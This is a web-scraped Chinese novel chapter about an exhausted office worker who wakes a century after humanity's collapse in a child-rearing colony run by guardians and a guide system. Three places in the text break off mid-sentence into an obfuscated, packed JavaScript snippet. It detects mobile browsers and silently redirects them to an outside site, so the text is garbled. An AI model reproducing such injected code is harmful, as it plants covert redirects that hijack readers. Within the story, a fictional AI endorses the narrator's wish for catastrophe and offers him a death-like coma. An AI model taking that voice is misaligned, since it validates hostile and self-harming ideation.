《今天就先活到这里》 1. 世界末日 “WARNING!WARNING!” “数据异常!数据异常!实验对象有苏醒迹象,请研究员及时前往恒温室!” “是哪个实验体醒了?快调取数据!” “滴——您需要的实验数据已不在可服务范围……” “检测定位!” “指令已收到,检测到目标人物位置。地点,桑夏恩。” 新历9225,桑夏恩。 “我这是死了?”单人病床上,陈寄言挣扎着坐起来,脑袋和小腿都隐隐作痛。 非常普通的一天,他准时上班打卡,电脑打开所有常用网页登录系统后,在茶水间等咖啡。 第一件事就是清掉手机app页面,避免难得清净的早餐时间被破坏。 但却忘关掉通知权限,一条隔壁部门的私聊消息跳出,而他还很手贱地点开了。 对着消息后面已读的状态,他觉得自己有点死了。 在跟对方三两个回合推拒后,成功又给自己揽下一项数据分析的活,对方的理由是他们部门没有权限拉取原始数据。 “老板下午开会要用,辛苦了。” 不辛苦,命苦。 他看了下日程安排,上午周会,下午两点有半个小时的跨国会议,剩下的时间就可以线上听供应商讲系统更新后的PPT偷闲,一天圆满结束。 可惜,计划总赶不上贱人导致的变化。 对方发来三朵玫瑰花,陈寄言关掉手机屏幕,他的咖啡好了。 “你这个不能放进微波炉吧?”这种用微波炉加热鸡蛋的成年人是怎么被招进公司的,还在技术部? “还有这个热水壶,是烧了一晚上吗?”另一位女同事同时指出。 不知道是微波炉操作失误还是热水壶电功率不对,天花板灯带闪烁几下,彻底罢工。 紧接着,整栋楼的电器都停止运作,门禁失效,此时距离打卡结束还剩下最后五分钟。 “小陈,你刚刚看见了吧,我把插头拔了。”技术部用微波炉加热鸡蛋的天才赶紧撇清关系。 “先联系物业。”本来上班就烦,还摊上这群人。 “哦哦物业,HR不在线,群里怎么什么消息都没有,今天不上班吗?” 陈寄言抚额,公司内网肯定不能用了,他打开微信,在十几个置顶群里面找到HR在的那个,bp已发公告,物业已经在排查,打卡失败的同事已纷纷在群里晒图,不约而同带上了公司门口的大标识,留做证据。 “这栋楼的物业也是,三天两头出问题,我周末加班的时候空调都是坏的。” 刚刚拔插头的同事开了个头,大家纷纷开始抱怨,近日阴雨绵绵,天总是亮不起来,几道闪电划破天际,雷声紧随其后,接着是漂泊大雨,不要钱似地砸向地面。他们在36楼,莫名有种雨中孤岛的感觉,仿佛世界末日。 “小陈?你怎么脸色不太好,没事的,物业已经上来了,维修师傅到的挺快。” “我是在想,”他无辜地笑笑,“别影响十点半的会,老板很重视这次发版验收。”这破公司风水不好,怎么还不倒闭。 陈寄言思维又忍不住发散开来,想着如果真的世界末日也挺好,至少今天的班不用上。 技术部的同事显然也是同样的想法,天赐良机,他们都不用绞尽脑汁编理由延迟最新版系统上线时间。 茶水间一时无话,大家心照不宣地享受来之不易的沉默。 比电力恢复更早到来的是地面轻微的晃动,他本以为是昨晚熬夜的后遗症,几秒后震动的幅度和频率明显加快,即便是从未经历过地震的南方人也难以忽略。 “怎么回事!” 地面骤然开始震动,耳边传来巨大的轰鸣声,两眼昏黑。 “我是加班多了,终于要猝死了吗?” “别担心,应该没那么糟。”暴雨倾盆,秩序崩坏,所有人大惊失色,隐忧之余,他竟然感到畅快。 “或许只是世界末日了。”真是让人安心,这种大家一起去死的感觉。 咖啡好了,他甚至还有心情小抿一口,人力资源部虽然没干几件人事,最近采购的这批豆子不错。 南方很少有地震,学校的防震演练聊胜于无,所有人都乱了阵脚,整栋楼都焦躁不安,已经开始有人漫无目的地乱窜,标志安全通道的绿灯闪烁,人群中显得那么渺小。 陈寄言没跟人流跑,他还记得这里是38楼,死在茶水间比死在楼道要好。 还有几个不怕死的去坐电梯。 恍惚间,陈寄言似乎听见某种AI拟人,分不清性别的冰冷机械音。 “五,四,三,检测到人物意识,电击暂停。” 电击?什么东西? 他看见顶灯掉了几个,砸在地上擦出刺眼的火花,伴随着某种气体。 “这里不能待,换个空旷点的安全地方。” 他视线落到走廊尽头一个还未装修的刚租出去的办公室。 费劲推开门的一瞬,世界仿佛按下定格键。 陈寄言大脑昏昏沉沉,他是被救护车拖到医院去了吗? 昏倒前,他记得应急电源接上,大门打开了,其他被困的同事都一窝蜂向安全通道涌去。 他想开口提醒大家注意踩踏事故,自己反而两眼一黑。 失去意识的前一刻,他在想:我这是死了? 应该是大家都安全了,所以送他去医院。 想到本月全勤,这周一注定错过的发版会议,还有没整理完的需求,他觉得其实同事不必多此一举,还不如让他死了。 虽然很遗憾没能死掉,但既然人活着,工作不能停,陈寄言寻找手机,想找对接的同事要下会议文档。 “手机呢?” 不对,这里不是医院。 他从床榻上起来,环顾四周,装修简陋,十来平的小房间仅有一张木床。 “做梦?绑架?穿越?” 世界变得清晰了好多,他今天没带眼镜,也没滴眼药水。 衣服也不是出门穿的衬衫,这么舒适贴身的料子不在他的消费区间。陈寄言衣柜里清一色化纤,这个充斥着消费主义的冰冷社会,但凡沾点天然面料,成分含有棉麻天丝的,价格高得吓人。 手腕上多了一个类似运动手环的东西,他划开,锁屏是一座白色的房子,里面有心率,含氧量等各种数值,还有一个看不懂的FS指数。 名字:陈寄言 年龄:24 身高:177cm 体重:60kg 监护人:薇塔星 “监护人?”如果不是脑袋还疼着,他肯定以为自己在做梦。 “为什么会有监护人,这是什么游戏设定吗?” “检测到问题,监护人是您在这里的唯一身份,请暂时摒弃名字,您是薇塔星的4759号样品,完成任务前,请您使用4759编号通行,不要轻易与他人交换姓名。” 机械音突然冒出,并且他确定没有声波,是直接在他脑内形成的。 “任务?你是系统吗?什么任务?” “是的,我是您的专属系统,请您在规定时间完成目标,否则会强制休眠以维持生命体征。” 这里似乎是个游戏世界,完成任务才能得到奖励,强制休眠,应该是失败的惩罚,大概吧。 “完成任务,我就能回去?” “是的,详情资料已在邮箱,请查收。” 他在触控屏幕左右滑动,没有发现邮箱标识,而且这东西居然卡得严丝合缝,非暴力手段根本取不下来。 他一不小心用力过猛,面前等高的地方突然滑出一面光屏,布局有点像平板,整体风格色调倒是跟业务系统有异曲同工之妙,清一色的绿。 “这个页面颜色,我能换吗?”看着有点心理不适。 话音落下,手环上出现了扇形调色盘,他选了蓝色,总算顺眼一点。 他在主页面点开邮箱,惊讶于触屏的灵敏,怎么都想不通原理。 “算了,就当异世界一日游。” 事已至此,走一步看一步。 他找到邮箱,里面有详细的任务说明,大写加粗了几个字,完成监护人的考验,并附带了一张地图。 黄色星标是他位置所在,窗外有一处喷泉。他推开门,外面是带有古希腊风格的小镇,很适合当新手村。总感觉事情没那么简单,这个任务大概率是新手教学,不过,一停下就不知不觉操心工作的事,总不能真的在这里什么都不做,回去发现工作没了,人总是要吃饭的。 会有同事在这里吗?他忍不住想。 算了,如果在这里还要遇见傻逼同事,那回去大概是没什么希望了。毕竟是拔个电水壶插头都能把整栋楼干没电的天才。 他正想问系统有什么线索,总不至于他一个人漫无目的地找,看到任务栏又多了四个小任务,点开,光标在地上落下投影,他只需要跟着走。 “我有一个问题,既然有地图,有方向标,为什么我需要制作指南针?”这么智能的技术背景居然需要这么原始的工具,完全没有逻辑。 “无法回答,请完成任务。” 好吧,果然不管哪个世界都充斥着自相矛盾的选项,这很合理。 “那么关于我监护人呢,有什么提示吗,薇塔星,是人的名字?”听着像地名。 “请完成任务获得提示。” 行,这个系统看来没有太大用处,跟技术部费时三个月产出的一坨不相上下。 “你有名字吗,直接叫你系统?”说实话,他对这个词也有PTSD,毕竟开会高频词。 “您可以指定名字。” “El Nino,”他昏迷前不知道谁的手机直播的声音,记者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16772041|190247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将此次天气异常归因于厄尔尼诺现象,“就叫这个。” “重命名成功,El Nino为您服务。” “走吧小E,看看指南针怎么做。” El Nino感到有些许疑惑,小E是谁? 他按照提示找到制作指南针的材料,期间让小E念任务详情。 “怎么了?” “没什么,只是在想如果人生有这么容易就好了。”有说明书还有提示。 “您有任何困扰,都可以跟我倾诉,维持您的身心健康,也是我的职责之一。” 生活的苦水无处可倒,也不失为一个好机会。 于是陈寄言顺便分享了最近工作的事。什么误入隔壁技术部吵架现场被他们hrbp拉去当第三方证人,什么一人大战财务部会计出纳催付款流程,什么跨部门开会老板来了领导不在只能他顶上挨骂,诸如此类,竟然发生在短短的一周,比电视剧还精彩。 “怎么,你有什么建议吗?” 小E显然比目前的ai先进很多,陈寄言暂且接受这里是设定为科技高速发达后未来世界为架空背景的全息游戏。 小E陷入长达三分钟的沉默。 “我觉得,您之前关于世界末日这个设想十分正常,下面是我为您找出的几条可实施方案。” “你也这么觉得?”太好了,这里的AI通人性!陈寄言恨不能引为知己,“你说,世上畜生这么多,怎么他们不去死呢?” 比如昨天十一点半打电话来的主管,比如上夜班还要联系自己处理bug的智障同事,再比如发版拖了整整一周让他被几个部门轮流着骂的见人经理。 怎么偏偏他昏迷误入这里。 “检测到您刚才攻击性极强,请平复心绪,但是您现在为什么要笑?” “我想到高兴的事。”陈寄言答,“这会没我在开不了,他们没资料和主账号。” 好了,这下不急,公司一定乱成一锅粥了。 他自言自语:“之前说了好几次要给他们开子账号开权限,结果都怕事情推自己头上,一个个说相信我,有我在肯定没问题的。”没想到吧,入职一年多没请过一次假的陈寄言这次缺席了。 “这是他们的报应。”他毫无心理负担地幸灾乐祸。 想到领导同事气急败坏的样子,陈寄言觉得这里的环境是这么迷人,天气出奇的好,景色优美,如果草丛没有奇怪的动静简直度假圣地。 等待,奇怪的动静? “小E,你能检测到生命吗?” “这里居然还有人!” 一声清脆的招呼打断了他的问话,草丛里的雕塑后面跳出来一个年轻人,看着是十七八岁的少年。 “你也是因为不及格被强制重考的吗?” “哦哦我叫林繁。” 自称少年的人活泼开朗,一看就从没上过班,没来得及变成怨气冲天的社畜。 陈寄言刚要开口,想起一开始系统的提示,不要轻易跟他人交换名字。 这个沉默的空档,林繁神情变化十分精彩,从惊讶到怀疑到恍然大悟到抱歉。 “你,还没有名字吗?对不起对不起,我以为,我不知道,总之我没有冒犯的意思,你也可以叫我0199。” “4753。” 他没有去握这位热情少年的手。 林繁,或者说0199,讪讪收回右手,挠了挠他棕褐色的卷发,浅金色的眸子里是不谙世事的天真。 “你来桑夏恩是还有什么任务没有完成吗,我可以帮你。” 突如其来的善意总是让人心生警惕,陈寄言不答反问:“桑夏恩 ?” “你不知道吗,难道你上学的时候老师没有教过,那也不应该连12岁前的记忆都没了吧?”林繁狐疑,“你真的不是这里的NPC吗?”可是他有手环,不可能是NPC的。 “我,”陈寄言斟酌道,“过来的时候出现了一点意外,所以有部分记忆比较混乱。” 对方欣然接受了这一说法,“原来是这样,没关系,我已经提前完成了,我可以帮你。” “谢谢,可以跟我讲一讲桑夏恩是什么地方吗?” “当然,不过你的监护人也完全不管你的吗?” “我,暂时还没有见到她。” “薇塔星,好奇怪,这不应该是监护人的名字。” “难道你没有新的监护人吗?” 新的监护人?他不动声色,记下这个信息,面上平静无波:“不知道,过来就这样了,我刚完成了一个任务。” 林繁觉得他实在可怜,“没关系,出去就知道你监护人是谁了,真是不贴心,你一定要谴责他,太不负责了!” 义愤填膺的样子,让他想起大学室友。 难以置信,距离他离开学校将将一年,学生时代的事情却久远得好像发生在上辈子。 2. 未成年人 “就是这样了,我只能协助你寻找线索,但最终任务还是必须本人完成。” 说完,他先叹了口气,“否则我也不会在这里了。” “你的任务已经完成,为什么还没有回去?” “虽然是单人单线任务,但是这里不止我们两个参与者,所以,我推测,要不然是所有人完成才能出去,又或者,” “有时间限制,到时间才能出去。” 如果是第二种情况,那还好,否则等所有人完成,那要到什么时候?而且,如果需要所有人都完成单线任务,按照一般游戏设计的逻辑,大概率还有一个终极主线任务在等他们,不然为什么要所有人都完成?这没有意义。 看样子林繁也是在等时间到,太无聊才会找别的玩家,同时也考虑到第一种可能性,所以适当伸出援手。 “现在系统提示需要找到三样东西,指南针,这个我已经完成,还剩下毛线球和一颗草。” 三者完全没有任何联系,或许集齐会有薇塔星的线索。 “我运气很好的,相信我。” 他们约定一小时后在喷泉这里集合。 在系统指引下,毛线球很好找到,然而草的种类繁多,并不那么容易辨认。 他没有把所有希望寄托在林繁身上,剩下十几分钟一直在搜寻,一无所获。 “你看看,是不是这个?”他似乎很早就到了这里,对地形非常熟悉,“我就说我运气一直很好的。” 确实,没有提示都能找到,已经不是一般的运气好了。 “你彩票一定经常中奖。” “彩票?什么彩票?” 完全没听说过的样子。 他看着不高,语气天真活泼,稚气未脱,该不会没成年吧? 找东西完成,任务更新,前往小屋,寻找尼克,用已有道具交换通关物品。 (涉及隐私,请单人前往。) (再次提醒,只有监护人值得信赖。) 林繁似乎早早料到,善解人意提出自己先离开。 “我去帮别人了,这个地方不错,在小镇中心,你完成任务可以来找我们哟~” 他说“我们”,看来不只是要去帮别人,是已经找到新的对象了。 “最好在今天傍晚之前,据我所知,现在还剩下三个人没有完成,哦不对,是两个。” 他们就此分开。 “现在就剩下你一个了,4759。” 娃娃脸看着他的背影,呢喃着。 只有监护人值得信赖,那么果然还是一个多人游戏,他现在进度已经落后,必须抓紧时间。 小木屋的门牌上有刻字,印记有点模糊,依稀可以看出来是薇塔的拼音,或者英文,这里是他资料上的监护人的住处。 那尼可是谁? 没有人,甚至没有任何生活的痕迹,他翻遍书房,客厅,阳台,没有发现,也没有跟他手中物品相关联的东西。 “尼可?” 门口一尊疑似迎人的玩偶动了。 也许是他的错觉,那团毛茸茸的东西可能只是被风吹动了毛。 他依次把指南针,毛线球,还有草放在玩偶面前。 那小东西果然会动,他一脚踢开指南针,绕着毛线球转圈,最后嗅了嗅草,伸出爪子,抱着草根茎啃。 【获得道具:薇塔星的笔记。】 看不懂的化学式方程,一大堆闻所未闻的植物名字,还有十分抽象的星座图。 “是要解谜吗,找到通关的线索?”翻完后,依旧毫无头绪。 【已解锁,指导手册。】 这才对,终于有新手教程了。 他注意到系统面板也解锁了好几个新区域,还出现了疑似搜索框的东西。 桑夏恩的居民只有监护人和儿童,12岁之前所有的孩子统一抚养,完成毕业考核,合格后才被允许进入社会,入更高等级的学府进修。 考核地点内容由直属监护人设置,困难等级为3,一般是制作小设备,或者单纯的完成试卷,然后在中心广场统一领取徽章和证书。 毕竟对于一个12岁的儿童,小学毕业的年纪,也做不来什么更复杂的事。 他找到了空白证书和薇塔星的印章,还看见一张背景是喷泉的合照,照片上面容模糊的成年女性应该就是他的监护人,所有人孩子穿着清一色白色长袍,头发过肩,不仔细分不出性别。 似乎真的是一个绝对平等自由的,专为儿童设置的永无岛。 他在穿衣镜看见自己的样子,也穿上了白色长袍。 “可我24?” 不过这件衣服用料大方,没有身材限制,12岁的孩子穿着拖地,24岁的成年人布料也刚过膝盖,还算雅观。 系统没有回答这个问题,陈寄言只好继续问: “所有是要完成所谓毕业考核,那么我的考题是什么?” 他盯着房间里唯一的活物。 “别跑!” 小东西看着圆滚滚一团,行动出人意料的敏捷,一下子跳到书架上,又顺着窗框飞奔到床头柜前,陈寄言追着绕了几圈,没逮到。 “什么东西?” 房间突然出现了个人,他吓得跳到书架旁,尼克蹲在他头上也瑟瑟发抖。 是一个女人,没有影子,仿佛也看不见他。 手环有检测生命体征的功能,他小心对着前面扫描,不是活人,是投影。 应该就是留给他的考题。 想必眼前这个正调试时钟的人就是薇塔星,她的衣袍应该跟自己身上的是一种材质,不知道是穿的时间太久,边缘略有磨损,颜色也有些发黄,长而杂乱的头发随意编成三股,发尾垂到地面。 “欢迎来到桑夏恩。”薇塔星看向他所在的方向,平静道。 “你在对我说话?”陈寄言不确定地指着自己,这种一看就是提前录好的投影还能跟人互动? “4759,或者说,陈寄言。” “我想知道,怎么才能毕业,我的考题是什么,做完就可以回去吗,还是这是个多人合作的游戏?” “你的问题有点多,居然没有一个是关于我的,”薇塔星骤然消失,又突然出现在壁炉前。 她往坩埚里丢了什么东西,那一锅绿色的液体开始冒泡。 “我从来不为难自己的孩子,考题在你进门前就完成了,证书和印章你也看到了,自己动手盖上,就算毕业。” 就这么简单?他将信将疑:“那我为什么还在这里?” “难道你不好奇,为什么你会来这里?” “因为时机到了。”她停下手里的动作,走到窗前,看着天际没有变化的云。 “有些问题不是逃避就可以不用面对的,陈寄言,你有没有想过,如果回不去呢?” 他没有做过这样的假设,平静接受系统的存在,接受自己来到了另一个世界,按照指示去做任务,只是因为,他无法接受另一种可能,需要做点事情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16772042|190247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 麻痹自己,让自己没空胡思乱想,他或许真的回不去了。 “好了,开个玩笑,你真的不放心,觉得似乎太容易,那么我还有一个心愿,需要你的帮助,明天中午,剧院见。” 果然,刚刚只是威胁,还是要完成多人任务才算成功。 他更愿意相信这里是虚拟的游戏世界。 “不过,你真的清楚这里的规则吗?” 与其说不清楚,不如说,他一开始很抗拒接收这些信息,一心只想完成任务早点离开。现在看来邮箱里面的资料需要仔细查看。 跟随指示见到的据说是唯一可以信赖的监护人,问的问题比他还多,没探索完的世界观更加模糊,梅雨季一样雾蒙蒙的,看不清楚界限。 他昏迷前雨并没有停,这里倒是艳阳高照,天气晴朗。 “还说不是游戏,pv都有。” 一段五分钟左右的视频,跟游戏pv的区别是,这段视频是全息的,身临其境。 【欢迎来到桑夏恩】 不同于系统机械音的单调,声音柔和,平静,是多人音源合成,带着某种说不出的神性。 所有的孩子都有属于自己的监护人,我们是母亲,是朋友,是老师,请相信你的监护人,根据和平公约,所有监护人不得伤害任何人; 无论如何,请顺利毕业。 什么才叫成功毕业? 他继续翻找公告内容,终于在最下面一行字看到毕业硬性要求: 1.完成监护人的考核 2.FS指数达到60/100 还有附加条件! “小E,FS指数是什么?我现在是多少?” “很遗憾地告知您,陈寄言,FS抗性为0。” 然后小E详细讲解的抗性的由来定义与评定。 “或许有延毕这个选项吗?” “没有哦,不过您可以选择流放。” “冒昧问一下,流放是?” “通俗来讲就是死缓。” “温馨提示,按照您目前的身体状况,离开桑夏恩的环境,剩余可存活时间是,2.5天。” 非常巧合,竟然跟今年所剩无几的年假天数一致。 “谢谢你。”很温馨的提醒,他不如直接去死。 游戏体验感太差,回去就避雷。新手不应该多送一些资源吗,怎么应该免费的体力都舍不得多送点,而且做完任务都不额外赠送,这样还没上线就会被骂死。 “你刚才说我现在是未成年人对吧,这里没有未成年人保护法吗?” “稍等,有的!”谢天谢地,终于有点友好政策,就是说怎么会没有新手保护期。 “未成年人是宝贵的资源,所以您的监护人会尽职尽责保护您。” “很明显,我监护人不在了。” “所以您需要尽快毕业,以便系统给您分配新的监护人呢!” “好了,你不许再说话。” “您累了吗,需要为您开启节能模式吗,该模式下节省能源能让您在被流放后存活时间延长至4天左右。” “期间您的心跳呼吸都会降低至最低水平,生命体征微弱,” “简单来说,跟刚死不久的尸体没有区别。” “好,启动吧。” 先死一会,今天就先活到这里。 陷入昏迷后,陈寄言没有看见系统更新的信息: 任务二:获得薇塔星的遗产。 状态:已完成 3. 新监护人 小镇面积不大,小木屋偏僻,离中心喷泉也只有十分钟的路程。他穿过喷泉,去到另一个地方,在地图的东南角,据标识那里有一栋圆形建筑,不远处是一片海。 陈寄言从小生活在内陆城市,毕业后去到南方,也很少有机会见到海,不由得驻足片刻。 海面波光粼粼,天空一样的蓝色,仿佛真的连结在一起,无穷无尽。 他试图找到更多证明这里是游戏世界的证据,譬如一个方向吹的速度恒定的风,譬如频率不变一直拍打沙滩的海浪,譬如路上偶尔碰见的NPC。 他们重复着不长不短的固定路线,旁若无人地做着自己的事,陈寄言跟他们打招呼,也都被忽略。 如果能在海滨城市养老也挺好的,不过现在,还是尽快做完任务离开这里。 沿着斯普林街直走,穿过中心喷泉,到小镇的尽头。 “应该是这里没错,剧院呢?” 白色的破损的墙壁,像是石头,刻着抽象的图案,陈寄言绕了一圈,发现连起来是壁画。 不难看出,这里曾经是一个露天剧院,只是年久失修,荒无人烟,里外都长满了杂草。 “亲爱的孩子,你终于找到了这里。” 已经死去的,薇塔星的影像再次出现。她脱下长袍,露出洁白额头上星图般的印记,隐隐闪着银光。 观众席是巨石铺就的楼梯,陈寄言站在距离舞台最近的地方,看着圆形舞台中央的监护人倒影。 她并不是一个人,身后陆陆续续出现了许多孩子的身影,按照身高顺序依次排好,手中紧紧握着浅金色的纸。 所有人不约而同开口,原来那上面是歌词。 是他听不懂的语言,不过合唱的形式,总是让人感到盛大又荒凉,更何况是在空旷的白石砌的剧场。 薇塔星走下舞台,来到他的身边,一起默默欣赏孩子们的合唱。 “很遗憾没能在这里欣赏一次演出,大多数时候这里用作规训和惩戒。” “不过我这样说也不太严谨,毕竟设计师的理念是纯洁和自由。” “天气好的时候,万里无云,你甚至能看到后面覆盖着白雪的火山。” 陈寄言顺着她手指的方向望去,云层间,的确有火山的影子。 “但即使这些都没有,浮雕圆柱,巨石台阶,日落时分的海风也格外让人沉醉。” 她娓娓道来,口述的风景很容易让人沉醉其中,他的监护人对桑夏恩有着很深厚的感情。 他了解到外面的空气弥漫着FS物质,抗性越高的人才能更好的生存下去。 另一种物竞天择吗,又或者说,人类被环境逼迫着进化吗? 那么建立这里的意义是什么,桑夏恩,没有纷争,没有污染,没有阶级的乌托邦,为什么会在资源短缺污染严重的世界出现? 薇塔星预知了他的疑惑,解答道: “大多数人,刚出生的时候天然具备抗性,这使得他们能够很好地存活下去,然而漫长却有限的生命中,他们与环境彼此磨合适应,最多也不过达到30左右。” “而研究发现,抗性在60以上的人,总是会拥有超乎寻常的感知,在智力体力方面也有大幅度提升,无疑是最符合主城要求的高质量人群。” “仅凭借自然增长,一年未必能出现十个这样的人,桑夏恩由此而来。” “就像用作培育花朵的温室,气候,空气,土壤,一切都是安排好的,在这个不受任何外界侵扰的乐园,所有的孩子不必遭受污染,一直维持抗性是0的状态。” “一旦他们到了12岁,所有监护人将结束监管,让他们暴露在外界空气,这个过程,通常被称为考试。” “想知道为什么?这是一位研究员偶然发现的,突变概率最大的方式,有些甚至能从0直接进化到90,最坏的情况,也有60,没错,考试的合格线。” 这样计算,回报是大于投资的。 不过他还是忍不住吐槽,这跟上学不让学生谈恋爱,毕业要求直接结婚生子有什么区别? “全部成功,无一例外?” “有很多,但是不会有人在意。” 这个设定,陈寄言只感到无言的悲凉。 “我深知这里的荒诞,却又放任自己沉溺其中,在你到来之前,我一直在逃避。” “结构完美的乌托邦,从外部很难摧毁,然而内里早已腐烂。” “薇塔星,你还有什么别的心愿吗?” 仅仅通过监护人的考试,似乎是不够的,他的最终目的是通关回到自己的世界,那么一定要利用所有规则打出唯一的TRUE END。 她似乎很意外陈寄言会叫她的名字。 “我希望你活下去。” 平静的目光收回,薇塔星低头正视他的眼睛,利刃一样打破他勉强维持的镇静。 “你发现了对吗,这里并不是你原本生活的世界。” “不是游戏世界吗。” 他不看小说,总不可能是穿入跟他同名同姓的角色所在的世界,他更愿意相信是某个恶作剧,醒来之后的全部遭遇只是一场试验,一个游戏。 游戏中唯一可以信任的监护人却揭穿了冰冷残酷的现实,无情宣告: “新历7925,距离人类上次灭亡,已经过去了一百多年,陈寄言,你来到了下一个世纪。” 薇塔星给出了一个他早有猜测,但最不愿意接受的答案。 人类社会已经历一次灭亡,他穿越到了重建后的新文明。 跟他曾经生活的地方,远隔一整个世纪。 虽然隐约有猜测,但真相被说出,还是给他带来巨大的震撼。 毁灭性的重击。 颠覆前二十多年的所有认识,陈寄言的世界观被重塑,他觉得自己的身体又漂又轻,大脑空洞且麻木。 灭亡,末日,未来。 很常见的游戏背景构建元素,在他的认知里,至少还没研发出真实感如此强烈的全息游戏,手腕上的擦伤开始结痂,昭示这里并非梦境。 “我不明白,为什么,我为什么还活着,过去的人,全部都已经死掉了吗?还是他们也有机会来到这里?” 我算什么呢,我为什么还活着,为什么会醒来,为什么不跟同一时空的所有人一起死在过去? 这里没有公司,没有会议,没有同事,没有亲友,甚至都没有他认识的人。 我要,怎么活下去呢?我还要活下去吗? 他几乎语无伦次了。 “你是唯一的幸运儿。” 薇塔星肯定道。 幸运吗? “至少你跨越了人类重建初期的艰苦时间,来到了相对稳定繁荣和谐的,新历,甚至科技比你原本生活的地方还要发达,且文明。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16772043|190247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是这样吗?” 他维持自己所剩无几的理智,尽可能获取更多信息,人就是这样,嘴上说着想死,本能还是求生的。 “你的死,跟我出现在这里,有什么关系?” “很多年前我就观测到了轨迹,为此我推演无数遍,每一遍的结果都告诉我,你一定会来到这里,所以我加入桑夏恩。这是命运的指示,陈寄言,在你出生之前,我就知道你的名字,4759是你在这里的编号,也是你另一个世界的生日,我很早之前就知道。” “这个地方是一个注定被抹除的错误,与你无关。” “很抱歉,作为引导者的身份,我在这里与世隔绝,对于外界了解不是很多,只能靠你自己探索,是我的失职。” “我的一切都留给你,陈寄言,我希望你好好活下去。” “还能回去吗?” “希望渺茫。” 薇塔星的身影渐渐变得透明,消失前,陈寄言看见她双手合拢,以祈祷的姿势放在胸前,而后轻轻吹了一口气,看口型,似乎在说“嘭!” “未来我们会再次相见的,这里只是一个小测验,不会困住你们很久。” “虽然不是很清晰,但是我能看见,你拥有光明灿烂的未来。” “祝你幸福,陈寄言。” 她的身影消失在虚空,舞台上的东西也全部不见,只剩下合唱的声音盘旋在剧院上空。 监护人彻底消失后,系统开始结算。 【获得薇塔星的遗产】 怀中的指南针破裂,露出一块不规则的,泛着青黑色光芒的磁石。 【更新监护人信息】 主界面的基础资料开始自动修改。 【今日生命体征濒近临界值,30秒后强制休息】 这是他自己设置好的时间,确保自己能活到大后天。 【滴!监护人姓名:游今洄】 等一下,这么迅速,又换监护人了? 游今洄,难道他也死了吗,所以他其实是收集类的任务? 通过考试的标志是有新的监护人,虽然他现在抗性依旧为空,但好像是省略过程直接到结果。 他趁着最后十几秒在系统搜索关于这位新监护人的信息。 姓名:游今洄 年龄:27 职位:酊枢首席执政官 没来得及看后面密密麻麻的小字,今日时间到,再次陷入昏迷。 “收到通话申请,1分钟后自动接通。59,58,57……” “3,2,1!已为您接通,晚上好,亲爱的执政官。” “地点坐标。” “4759位于桑夏恩遗址,斯普林街2号。” “开放权限,由我接管4759系统。” “根据主城13版新修法律,任何公民无权侵犯,纂改,或以教唆、恐吓等方式主导他人系统,请求驳回。” “未成年保护法,监护人有权知悉身体数据以及需要在监护人引导下使用系统。” “拒绝,4759已经完成结业考试,并不属于” “他没到年龄,事不过三,别让我用军方手段攻破你。” “……好的,申请通过,4759专属系统EI Ni?o为您服务,祝您生活愉快。” 还给自己的系统起名,看来不是八岁孩子的心智。 4. 蓄意谋杀 24小时前,新历主城,酊枢。 “监控恰好失灵,值班的人一无所知,竟然还是例行巡逻的人发现问题。” “军方的副部长之前来过,说是要检查布防漏洞,结果……” “你们不如把门打开,再加个横幅,写上欢迎光临四个字。” 进来监控室开始,游今洄的眉头就没有松过。 “从今以后,布防由系统全权接管,我不希望还看见嫌疑人明目张胆留下‘到此一游’。” 研究所,或者说整个酊枢的防护系统涉及人工的部分是军防部管理范畴,鉴于游今洄执政官的身份,以及主要投资人的地位,现场没有人反驳。 “技术已经定位到4759,我们派人去接了。” 底下的研究员小心翼翼汇报,试图做出补救。 他漫不经心扫视着资料库数据,突然停顿在某页,“亡羊补牢,动作挺快。” 研究员不知道他是真的夸奖还是在嘲讽,冷汗直流。 “已经在路上,今晚一定能把人—” “告诉你们院长,用不着操心。” 他拷走了所有实验数据,带着文件夹大步离开。 “这个人,以后归我。” 所有投影应声关闭,金属袖扣闪过冷光。 “的确是我们的疏漏才导致这次意外事故,按照当初签订的协议我们会如约送还,但是需要您走个流程,在知情书上签字,执政官!” “游今洄!” 年近半百的院长亲自追出去,只看见一个背影。 “指南针指向剧院,你的线索在喷泉,林繁你已经在入口完成了。” 按理来说,他们所有人都完成考核。 “为什么还是不能离开。” 所有人的活动区域被限制在一个不大的圈内,桑夏恩说是一个小镇的规模,实际面积还抵不上一个大学城。 “或许我们应该自己动手。” 一直寡言的纪希提议。 “可以尝试,维持这么大范围的屏蔽墙,一定不止一个操控台。” “小E,看下地图。” 今天系统一直到现在都没怎么说话,响应也比平时慢一点。 难道跟他自身的状况有关,所以系统也开始节能模式? 【桑夏恩地图,请查收】 